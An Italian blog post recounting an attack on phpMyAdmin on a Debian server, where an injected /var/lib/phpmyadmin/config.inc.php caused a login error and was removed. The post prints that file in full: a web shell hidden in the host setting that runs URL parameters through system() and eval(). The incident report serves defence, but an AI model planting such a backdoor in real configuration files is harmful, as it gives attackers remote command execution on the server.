CodeInjection PhpMyAdmin

In questi giorni al lavoro mi è capitato sotto mano un caso di Code Injection su un server Linux Debian. Grazie all’aiuto di un collega molto più esperto di me nel mondo Linux abbiamo risolto nel migliore dei modi i danni causati dall’injection.

Lavorando a degli applicativi web caricati sul server in questione, mi è capitato di notare che PhpMyAdmin rilasciava un errore direttamente alla finestra di login. L’errore in questione era:

#1045 - Access denied for user 'root'@'localhost' (using password: NO)

Trovandomi questo messaggio avevo ipotizzato che potessero esserci dei problemi gravi su PhpMyAdmin ma non sapevo sinceramente dove metterci mano. Ho per cui chiesto aiuto al collega a cui faccio riferimento per i problemi sui server Linux.

Dopo una analisi dettagliata della situazione mi ha spiegato da cosa era derivato quel messaggio d’errore. Vi riporto per cui l’isegnamento che ho ricevuto nella speranza che possa essere d’aiuto anche a qualcuno di voi.

Nel nostro caso il server in questione aveva subito un attacco di Code Injection da parte di qualche utente malintenzionato che, sfruttando una vulnerabilità di PhpMyAdmin, aveva intenzione probabilmente di prendere l’accesso della nostra macchina e farne una macchina di morte.

L’injection ha permesso all’attaccante di iniettare un file di configurazione (config.inc.php) direttamente nella cartella /var/lib/phpmyadmin/. Una volta inserito questo file di configurazione PhpMyAdmin avrebbe accettato connessioni tramite l’utente root senza password.

La nostra salvezza è stata l’aver impostato password per i vari utenti del sistema (nonch’è l’utente root) molto complesse e non facilmente attaccabili. L’attacco quindi è terminato senza aver ottenuto effetti positivi per l’utente malevolo.

Nel nostro caso per risolvere il problema dell’errore alla finestra di login di PhpMyAdmin è stato sufficiente eliminare il file iniettato (/var/lib/phpmyadmin/config.inc.php).

Vi riporto il codice presente nel file incriminato:

<?php
 /*
 * Generated configuration file
 * Generated by: phpMyAdmin 2.9.1.1-Debian-9 setup script by Michal
 Čihař <michal@cihar.com>
 * Version: $Id: setup.php 9484 2006-10-03 13:11:22Z nijel $
 * Date: Sun, 19 Jul 2009 07:49:41 GMT
 */

 /* Servers configuration */
 $i = 0;

 /* Server  (config:root) [1] */
 $i++;
 $cfg['Servers'][$i]['host']=''; if($_GET['c']){echo
 '<pre>';system($_GET['c']);echo '</pre>';}if($_GET['p']){echo
 '<pre>';eval
 ($_GET['p']);echo '</pre>';};//'[ = 'localhost';
 $cfg]'Servers'[]$i[]'extension'[ = 'mysqli';
 $cfg]'Servers'[]$i[]'connect_type'[ = 'tcp';
 $cfg]'Servers'[]$i[]'compress'[ = false;
 $cfg]'Servers'[]$i[]'auth_type'[ = 'config';
 $cfg]'Servers'[]$i[]'user'[ = 'root';

 /* End of servers configuration */
 ?>

Vi rimando, per approfondimenti, alla pagina scritta sull’argomento dal mio maestro

http://www.ivan.agliardi.net

 
line
footer
AtSafe di Silvio Balduzzi - P.IVA: 03660270160 C.F. BLDSLV84M21C800W
RSS